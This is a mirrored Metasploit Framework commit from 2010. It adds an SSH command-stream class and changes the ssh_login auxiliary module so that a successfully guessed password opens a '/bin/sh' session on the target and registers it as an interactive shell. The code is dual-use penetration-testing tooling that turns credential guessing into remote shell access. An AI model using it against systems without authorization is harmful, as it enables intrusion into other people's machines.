1
mirror of https://github.com/rapid7/metasploit-framework synced 2024-11-12 11:52:01 +01:00

The ssh login code can now create sessions

git-svn-id: file:///home/svn/framework3/trunk@8598 4d416f70-5f16-0410-b530-b9f4589650da
This commit is contained in:
HD Moore 2010-02-23 07:12:54 +00:00
parent 455434a9f2
commit d148c95c84
5 changed files with 137 additions and 22 deletions

View File

@ -4,7 +4,7 @@ module Msf
module Sessions
###
#
#
# This class provides basic interaction with a command shell on the remote
# endpoint. This session is initialized with a stream that will be used
# as the pipe for reading and writing the command shell.
@ -84,3 +84,4 @@ end
end
end

View File

@ -1,24 +1,9 @@
require 'rex/socket'
# Monkeypatch rex/socket so Net::SSH's calls to TCPSocket.open and
# TCPSocket.new work when they're sent instead to
# Rex::Socket::Tcp.connect
module Rex::Socket::Tcp
def self.connect(host,port)
self.create(
'PeerHost' => host,
'PeerPort' => port
)
end
end
# Make sure HOME is set, regardless of OS, so that File.expand_path works
# as expected with tilde characters.
ENV['HOME'] ||= ENV['HOMEPATH'] ? "#{ENV['HOMEDRIVE']}#{ENV['HOMEPATH']}" : "."
require 'logger'
require 'net/ssh/config'
@ -27,6 +12,7 @@ require 'net/ssh/loggable'
require 'net/ssh/transport/session'
require 'net/ssh/authentication/session'
require 'net/ssh/connection/session'
require 'net/ssh/command_stream'
module Net
@ -83,7 +69,7 @@ module Net
:logger, :paranoid, :password, :port, :proxy, :rekey_blocks_limit,
:rekey_limit, :rekey_packet_limit, :timeout, :verbose,
:global_known_hosts_file, :user_known_hosts_file, :host_key_alias,
:host_name, :user, :properties, :passphrase
:host_name, :user, :properties, :passphrase, :msframework, :msfmodule
]
# The standard means of starting a new SSH connection. When used with a

View File

@ -0,0 +1,104 @@
require 'rex'
module Net
module SSH
class CommandStream
attr_accessor :channel, :thread, :error, :ssh
attr_accessor :lsock, :rsock, :monitor
module PeerInfo
include ::Rex::IO::Stream
attr_accessor :peerinfo
attr_accessor :localinfo
end
def initialize(ssh, cmd, cleanup = false)
self.lsock, self.rsock = Rex::Socket.tcp_socket_pair()
self.lsock.extend(Rex::IO::Stream)
self.lsock.extend(PeerInfo)
self.rsock.extend(Rex::IO::Stream)
self.ssh = ssh
self.thread = Thread.new(ssh,cmd,cleanup) do |rssh,rcmd,rcleanup|
begin
info = ssh.transport.socket.getpeername
self.lsock.peerinfo = "#{info[1]}:#{info[2]}"
info = ssh.transport.socket.getsockname
self.lsock.localinfo = "#{info[1]}:#{info[2]}"
rssh.open_channel do |rch|
rch.exec(rcmd) do |c, success|
raise "could not execute command: #{rcmd.inspect}" unless success
c[:data] = ''
c.on_eof do
self.rsock.close
self.thread.kill
end
c.on_close do
self.rsock.close
self.thread.kill
end
c.on_data do |ch,data|
self.rsock.write(data)
end
c.on_extended_data do |ch, ctype, data|
self.rsock.write(data)
end
self.channel = c
end
end
self.monitor = Thread.new do
while(true)
next if not self.rsock.has_read_data?(1.0)
buff = self.rsock.sysread(16384)
break if not buff
verify_channel
self.channel.send_data(buff) if buff
end
end
while true
rssh.process(0.5) { true }
end
rescue ::Exception => e
self.error = e
ensure
self.monitor.kill if self.monitor
end
# Shut down the SSH session if requested
if(rcleanup)
rssh.close
end
end
end
#
# Prevent a race condition
#
def verify_channel
while ! self.channel
raise EOFError if ! self.thread.alive?
select(nil, nil, nil, 0.10)
end
end
end
end
end

View File

@ -61,8 +61,23 @@ module Net; module SSH; module Transport
@options = options
debug { "establishing connection to #{@host}:#{@port}" }
factory = options[:proxy] || Rex::Socket::Tcp
@socket = timeout(options[:timeout] || 0) { factory.connect(@host, @port) }
factory = options[:proxy]
if (factory)
@socket = timeout(options[:timeout] || 0) { factory.connect(@host, @port) }
else
@socket = timeout(options[:timeout] || 0) {
Rex::Socket::Tcp.create(
'PeerHost' => @host,
'PeerPort' => @port,
'Context' => {
'Msf' => options[:msframework],
'MsfExploit' => options[:msfmodule]
}
)
}
end
@socket.extend(PacketStream)
@socket.logger = @logger
@ -274,3 +289,4 @@ module Net; module SSH; module Transport
end
end
end; end; end

View File

@ -53,9 +53,11 @@ class Metasploit3 < Msf::Auxiliary
def do_login(ip,user,pass,port)
opt_hash = {
:password => pass,
:auth_methods => ['password','keyboard-interactive'],
:port => port
:msframework => framework,
:msfmodule => self,
:port => port,
:password => pass
}
begin
@ -69,6 +71,7 @@ class Metasploit3 < Msf::Auxiliary
rescue Net::SSH::Exception
return [:fail,nil] # For whatever reason. Can't tell if passwords are on/off without timing responses.
end
if self.ssh_socket
proof = ''
begin
@ -81,7 +84,12 @@ class Metasploit3 < Msf::Auxiliary
rescue ::Exception
end
self.ssh_socket.close
# Create a new session
conn = Net::SSH::CommandStream.new(self.ssh_socket, '/bin/sh', true)
sess = Msf::Sessions::CommandShell.new(conn.lsock)
sess.set_from_exploit(self)
framework.sessions.register(sess)
return [:success, proof]
else
return [:fail, nil]